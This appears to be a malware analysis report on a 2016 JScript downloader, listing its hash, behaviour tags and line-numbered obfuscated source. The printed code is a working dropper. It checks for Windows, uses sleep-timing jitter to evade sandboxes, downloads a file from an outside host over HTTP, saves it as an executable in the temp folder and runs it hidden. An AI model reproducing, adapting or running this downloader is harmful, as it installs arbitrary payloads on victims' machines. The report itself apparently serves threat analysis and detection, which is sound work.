20160328_686065329c7e3ec202c20a1c87868c27.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25631320bf932bbbdaad43515a3fb1302d8a7cebda8f39bf276ad2ce1f6506cf2dd
Evidence
1var Scsqlayome = false;
2var Qihqeburkr = "CreateObject";
3var Vjzqavh = function Lblzkxbtl() {return WScript[Qihqeburkr]("WScript.Shell");}();
4var Nmffrhuk = 123213;
5var Ibzdvymrj = "MSXML2.XMLHTTP";
6var Dynji = 2123213;
7var Zhdqygcpig = 0;
8function Uibcbgwpi(Flqisegkm){Vjzqavh["Run"](Flqisegkm, Zhdqygcpig, Zhdqygcpig);};
9function Yswocuu(){return Ibzdvymrj;};
10function Qrpxww(Lcfsbtu, Eosvcotw){return Lcfsbtu - Eosvcotw;};
11function Ztesyxnnts(){return Qihqeburkr;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Scsqlayome = true;
15 @end
16@*/
17var Fzsvsrwqo = "";
18if (Scsqlayome)
19{
20function Twyqcmpvll(){return 22;};
21var Cvrfgjea = 0; var Ylwdhiaspn = 0;
22function Zdtzocaxio()
23{
24var Gzwbks = new this["Date"]();
25var Tbjtfq = Gzwbks["getUTCMilliseconds"]();
26WScript["Sleep"](Twyqcmpvll());
27var Gzwbks = new this["Date"]();
28var Jxhjiu = Gzwbks["getUTCMilliseconds"]();
29WScript["Sleep"](Twyqcmpvll());
30var Gzwbks = new this["Date"]();
31var Imangue = Gzwbks["getUTCMilliseconds"]();
32var Cvrfgjea = "Oelgzecpx";
33Cvrfgjea = Qrpxww(Jxhjiu, Tbjtfq);
34var Ylwdhiaspn = "Xnerisou";
35Ylwdhiaspn = Qrpxww(Imangue, Jxhjiu);
36Fzsvsrwqo = "open";
37return Qrpxww(Cvrfgjea, Ylwdhiaspn);
38}
39var Jaybxxq = false;
40var Ghtaecjkr = false;
41for (var Wdyilej = Zhdqygcpig; Wdyilej < Twyqcmpvll() * 1; Wdyilej++){if (Zdtzocaxio() != Zhdqygcpig) …
49:7… ybxxq && Irehyzejym() && Ghtaecjkr){
50function Wkwshw() {return Vjzqavh["ExpandEnvironmentStrings"]("%TEMP%/") + "rJvTa9xvf6lBpj.exe";};
51 Nmkpcld = Yswocuu();
52 Utjawgtrh = WScript[Qihqeburkr](Nmkpcld);
53 var Jqwrxb = 1;
54 while (Jqwrxb){
55try {
56Utjawgtrh[Fzsvsrwqo]("GET", "http://2biking.com/k4isfa", false);
57Utjawgtrh["send"]();
58Kkjujhjcc = "Sleep";
59do {WScript[Kkjujhjcc](Twyqcmpvll() * 11)} while (Utjawgtrh["readystate"] < 4 );
60Jqwrxb = Zhdqygcpig;
61} catch(Jkanvh){Jqwrxb = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Hguzaqxm(Esapkjlkf) {var Hcgpv = (1, 2, 3, 4, 5, Esapkjlkf); return Hcgpv;};
64Mcmhm = WScript[Ztesyxnnts()]("ADODB.Stream");
65Nmkpcld = Mcmhm;
66Nmkpcld[Fzsvsrwqo]();
67Nmkpcld["type"] = Hguzaqxm(1);
68Nmkpcld["write"](Utjawgtrh["ResponseBody"]);
69Mcmhm["position"] = Hguzaqxm(Zhdqygcpig);
70Nmkpcld["SaveToFile"](Wkwshw(), Hguzaqxm(2) );
71Mcmhm["close"]();
72Uibcbgwpi(Wkwshw());
73}
74}
75